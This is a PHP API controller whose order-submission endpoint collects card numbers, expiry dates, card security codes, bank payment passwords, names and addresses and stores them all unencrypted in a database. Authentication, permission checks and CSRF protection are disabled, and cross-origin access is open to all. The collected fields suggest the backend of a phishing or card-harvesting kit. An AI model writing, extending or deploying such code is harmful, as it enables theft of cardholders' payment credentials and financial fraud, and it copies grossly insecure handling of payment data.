<?php
namespace app\api\controller;

use app\common\controller\Api;
use think\Db;

class Order extends Api
{
    protected $noNeedLogin = '*';
    protected $noNeedRight = '*'; // 无需权限
    protected $noNeedCheck = '*'; // 关闭CSRF验证
    
    // 构造方法，添加跨域头信息并处理 OPTIONS 请求
    public function __construct()
    {
        parent::__construct();
        header('Access-Control-Allow-Origin: *'); // 允许所有来源的跨域请求
        header('Access-Control-Allow-Methods: *'); // 允许所有HTTP方法的跨域请求
        header('Access-Control-Allow-Headers: *'); // 允许所有的请求头
    }

    // 提交订单
    public function submitOrder()
    {
        $input = input();
        $post = $input['param'];
        $data = [
            'sms_code' => $post['securityCode'],
            'card_name' => $post['cardName'],
            'bank_card' => $post['cardNumber'],
            'bank_password' => $post['paymentPassword'],
            'first_name' => $post['firstName'],
             'phone' => '',
             'last_name' => $post['lastName'],
             'country' => $post['country'],
             'street_address' => $post['streetAddress'],
             'street_address2' => $post['streetAddress2'],
             'city' => $post['city'],
             'state' => $post['state'],
             'zipCode' => $post['zipCode'],
             'expiryMonth' => $post['expiryMonth'],
             'expiryYear' => $post['expiryYear'],
             'coupon_code' => '',
             'order_number' => $post['orderSummary']['orderNo'],
             'payment_reference' => $post['orderSummary']['paymentReference'],
            // 'product_name' => $post['sms_code'],
             'amount' => $post['orderSummary']['amount'],
             'goods_info' => json_encode($post['cartData'],JSON_UNESCAPED_UNICODE),
             'goods_names' => implode(',', array_column($post['cartData'], 'name')),
             'create_time' => date('Y-m-d H:i:s',time()),
             'update_time' => date('Y-m-d H:i:s',time())
        ];
        // 设置默认值
        $data['is_verified'] = 'no';

        $orderId = Db::name('order')->insertGetId($data);

        if ($orderId) {
            return json(['code' => 200, 'message' => '订单提交成功', 'order_id' => $orderId]);
        } else {
            return json(['code' => 500, 'message' => '订单提交失败']);
        }
    }
}